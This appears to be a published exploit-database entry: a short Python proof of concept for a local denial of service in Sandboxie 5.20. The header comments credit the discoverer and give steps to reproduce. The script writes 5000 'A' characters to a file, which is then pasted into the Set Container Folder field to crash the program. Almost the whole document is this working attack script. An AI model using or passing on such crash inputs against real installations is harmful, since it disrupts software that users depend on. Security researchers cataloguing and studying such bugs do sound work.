Sandboxie 5.20 Denial Of Service

`#!/usr/bin/python -w  
# Exploit Title : Sandboxie version 5.20 local Dos Exploit   
# Discovery by : Anurag Srivastava  
# Email : [email protected]  
# Website : www.pyramidcyber.com  
# Discovery Date : 23/08/2017  
# Software Link : https://www.sandboxie.com/SandboxieInstall.exe  
# Tested Version : 5.20  
# Tested on OS : Windows XP  
# Steps to Reproduce: Run the python file to generate pyramid.txt and then open Sandboxie Control->Sandbox->Set Container Folder , Paste the content of pyramid.txt into set container input field.   
file="pyramid.txt"  
buffer = "A" *5000   
textfile = open(file, 'w')  
textfile.write(buffer)  
textfile.close()  
`